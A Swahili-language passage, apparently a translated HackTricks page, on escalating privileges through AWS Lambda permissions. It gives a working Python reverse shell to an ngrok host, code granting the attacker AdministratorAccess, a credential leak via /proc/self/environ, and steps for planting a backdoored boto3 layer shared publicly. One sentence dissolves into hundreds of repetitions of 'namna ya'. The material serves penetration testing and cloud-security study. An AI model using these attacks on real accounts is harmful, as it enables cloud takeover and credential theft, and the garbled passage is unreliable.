AWS - Lambda Privesc

Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

lambda

Maelezo zaidi kuhusu lambda katika:

pageAWS - Lambda Enum

iam:PassRole, lambda:CreateFunction, (lambda:InvokeFunction | lambda:InvokeFunctionUrl)

Watumiaji wenye ruhusa za iam:PassRole, lambda:CreateFunction, na lambda:InvokeFunction wanaweza kuongeza mamlaka yao. Wanaweza kuunda kazi mpya ya Lambda na kuipa jukumu la IAM lililopo, ikiruhusu kazi kupata ruhusa zinazohusiana na jukumu hilo. Mtumiaji kisha anaweza kuandika na kupakia nambari kwenye kazi hii ya Lambda (kwa mfano, na rev shell). Baada ya kazi kuwekwa, mtumiaji anaweza kuchochea utekelezaji wake na hatua zilizokusudiwa kwa kuita kazi ya Lambda kupitia API ya AWS. Mbinu hii inamruhusu mtumiaji kutekeleza kazi kwa njia isiyo ya moja kwa moja kupitia kazi ya Lambda, ikifanya kazi na kiwango cha ufikiaji kilichoidhinishwa na jukumu la IAM linalohusishwa nayo.\

Mshambuliaji anaweza kutumia hii kupata rev shell na kuiba token:

rev.py
import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
# Zip the rev shell
zip "rev.zip" "rev.py"

# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip

# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL

# List roles
aws iam list-attached-user-policies --user-name <user-name>

Unaweza pia kutumia vibaya ruhusa za jukumu la lambda kutoka kwa kazi ya lambda yenyewe. Ikiwa jukumu la lambda lilikuwa na ruhusa za kutosha unaweza kuitumia kupeana haki za msimamizi kwako:

import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response

Pia niwezekana kuvuja kwa siri za jukumu la lambda bila kuhitaji uhusiano wa nje. Hii ingekuwa muhimu kwa Lambdas zilizotengwa kimtandao zinazotumika kwenye kazi za ndani. Ikiwa kuna vikundi vya usalama visivyojulikana vinavyofilta mabakuli yako ya kurudi, kipande hiki cha nambari kitakuruhusu kuvuja moja kwa moja siri kama matokeo ya lambda.

def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt

Athari Inayowezekana: Privesc moja kwa moja kwa jukumu la huduma ya lambda ya kiholela iliyotajwa.

Tafadhali kumbuka hata kama inaweza kuonekana kuwa ya kuvutia lambda:InvokeAsync haidhinishi peke yake kutekeleza aws lambda invoke-async, unahitaji pia lambda:InvokeFunction

iam:PassRole, lambda:CreateFunction, lambda:AddPermission

Kama ilivyokuwa kwenye kisa kilichopita, unaweza kujipatia ruhusa ya lambda:InvokeFunction ikiwa una ruhusa ya lambda:AddPermission

# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"

Athari Inayowezekana: Privesc moja kwa moja kwa jukumu la huduma ya lambda lililoelezwa.

iam:PassRole, lambda:CreateFunction, lambda:CreateEventSourceMapping

Watumiaji wenye ruhusa za iam:PassRole, lambda:CreateFunction, na lambda:CreateEventSourceMapping (na labda dynamodb:PutItem na dynamodb:CreateTable) wanaweza kuinua bila kukusudia mamlaka hata bila lambda:InvokeFunction. Wanaweza kuunda kazi ya Lambda na nambari yenye nia mbaya na kuipa jukumu la IAM lililopo.

Badala ya kuita moja kwa moja Lambda, mtumiaji anaweza kuweka au kutumia meza ya DynamoDB iliyopo, kuilinganisha na Lambda kupitia uwekaji wa chanzo cha tukio. Hii inahakikisha kazi ya Lambda ina kuzinduliwa moja kwa moja wakati wa kuingia kwa kipengee kipya kwenye meza, au kwa hatua ya mtumiaji au mchakato mwingine, hivyo kwa njia isiyo ya moja kwa moja kuita kazi ya Lambda na kutekeleza nambari kwa ruhusa za jukumu la IAM lililopitishwa.

aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip

Ikiwa DynamoDB tayari iko hai katika mazingira ya AWS, mtumiaji anahitaji tu kuweka ramani ya chanzo cha tukio kwa kazi ya Lambda. Walakini, ikiwa DynamoDB haipo, mtumiaji lazima aunde meza mpya na uwezeshaji wa utiririshaji:

aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES

Sasa ni wezekano wa kuunganisha kazi ya Lambda kwenye meza ya DynamoDB kwa kuunda ramani ya chanzo cha tukio:

aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST

Kwa kazi ya Lambda iliyounganishwa na mtiririko wa DynamoDB, mkaidi anaweza kuchochea Lambda kwa njia isiyo ya moja kwa moja kwa kuanzisha mtiririko wa DynamoDB. Hii inaweza kufanikishwa kwa kuingiza kipengee kwenye meza ya DynamoDB:

aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}

Athari Inayoweza Kutokea: Privesc moja kwa moja kwa jukumu la huduma ya lambda lililoelezwa.

lambda:AddPermission

Mshambuliaji mwenye idhini hii anaweza kujipatia yeye mwenyewe (au wengine) idhini yoyote (hii inazalisha sera za msingi wa rasilimali kutoa ufikiaji kwa rasilimali):

# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>

# Invoke the function
aws lambda lambda invoke --function-name <func_name> /tmp/outout

Athari Inayowezekana: Privesc moja kwa moja kwa jukumu la huduma ya lambda kwa kutoa ruhusa ya kurekebisha namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya namna ya

# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

Athari Inayowezekana: Upatikanaji wa habari nyeti.

lambda:UpdateFunctionCode

Watumiaji wenye ruhusa ya lambda:UpdateFunctionCode wana uwezo wa kurekebisha nambari ya kazi ya Lambda iliyopo ambayo imeunganishwa na jukumu la IAM. Mshambuliaji anaweza kurekebisha nambari ya lambda ili kuchukua siri za IAM.

Ingawa mshambuliaji anaweza asiwe na uwezo wa moja kwa moja kuita kazi, ikiwa kazi ya Lambda ipo na inafanya kazi, ni uwezekano kwamba itaanzishwa kupitia mchakato au matukio yaliyopo, hivyo kufanikisha utekelezaji wa nambari iliyorekebishwa.

# Thezip should contain the lambda code (trick: DOwnload the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip

# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt

# If not check if it's exposed in any URL or via an API gateway you could access

Athari Inayowezekana: Privesc moja kwa moja kwa jukumu la huduma ya lambda lililotumiwa.

lambda:UpdateFunctionConfiguration

Utangulizi

Lambda Layers inaruhusu kuingiza mimbo katika kazi yako ya lamdba lakini kuuhifadhi kando, hivyo mizizi ya kazi inaweza kubaki ndogo na kazi kadhaa zinaweza kushiriki mizizi.

Ndani ya lambda unaweza kuangalia njia ambazo mizizi ya python inapakia na kazi kama ifuatavyo:

import json
import sys

def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))

Hizi ni sehemu:

  1. /var/task

  2. /opt/python/lib/python3.7/site-packages

  3. /opt/python

  4. /var/runtime

  5. /var/lang/lib/python37.zip

  6. /var/lang/lib/python3.7

  7. /var/lang/lib/python3.7/lib-dynload

  8. /var/lang/lib/python3.7/site-packages

  9. /opt/python/lib/python3.7/site-packages

  10. /opt/python

Kwa mfano, maktaba ya boto3 inapakiwa kutoka /var/runtime/boto3 (nafasi ya 4).

Utekaji

Inawezekana kutumia ruhusa ya lambda:UpdateFunctionConfiguration kuongeza tabaka jipya kwa kazi ya lambda. Ili kutekeleza nambari ya kupendelea, tabaka hili lazima liwe na maktaba ambayo lambda itaagiza. Ikiwa unaweza kusoma nambari ya lambda, unaweza kupata hii kwa urahisi, pia kumbuka kwamba inawezekana kwamba lambda tayari inatumia tabaka na unaweza kupakua tabaka na kuongeza nambari yako humo.

Kwa mfano, fikiria kwamba lambda inatumia maktaba ya boto3, hii itaunda tabaka ya ndani na toleo la mwisho la maktaba:

pip3 install -t ./lambda_layer boto3

Unaweza kufungua ./lambda_layer/boto3/__init__.py na kuongeza mlango wa nyuma katika msimbo wa kimataifa (kazi ya kutoa siri au kupata kabati la nyuma kwa mfano).

Kisha, zip hiyo ./lambda_layer directory na kuiweka lambda mpya katika akaunti yako mwenyewe (au katika ya waathiriwa, lakini huenda usiwe na ruhusa kufanya hivyo). Tambua kwamba unahitaji kuunda folda ya python na kuweka maktaba humo ili kubadilisha /opt/python/boto3. Pia, safu inahitaji kuwa na uwezo wa toleo la python linalotumiwa na lambda na ikiwa utaiweka kwenye akaunti yako, inahitaji kuwa katika eneo sawa:

aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

Sasa, fanya safu ya lambda iliyopakiwa iwe inayopatikana na akaunti yoyote:

aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *

Na ambatisha safu ya lambda kwa kazi ya lambda ya mwathirika:

aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells

Hatua inayofuata itakuwa au kuamsha kazi wenyewe ikiwa tunaweza au kusubiri mpaka iitwe kwa njia za kawaida - ambayo ni njia salama zaidi.

Njia ya kisiri zaidi ya kutumia udhaifu huu inaweza kupatikana katika:

pageAWS - Lambda Layers Persistence

Matokeo Yanayowezekana: Privesc moja kwa moja kwa jukumu la huduma ya lambda inayotumiwa.

?iam:PassRole, lambda:CreateFunction, lambda:CreateFunctionUrlConfig, lambda:InvokeFunctionUrl

Labda na ruhusa hizo unaweza kuunda kazi na kuitekeleza ikiiita URL... lakini sikuweza kupata njia ya kuita, hivyo niambie kama utaweza!

Lambda MitM

Baadhi ya lambdas zitakuwa zinapokea habari nyeti kutoka kwa watumiaji kwa njia ya vigezo. Ikiwa unapata RCE katika moja wapo, unaweza kuchota habari ambayo watumiaji wengine wanaituma, angalia hii:

pageAWS - Steal Lambda Requests

Marejeo

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

Last updated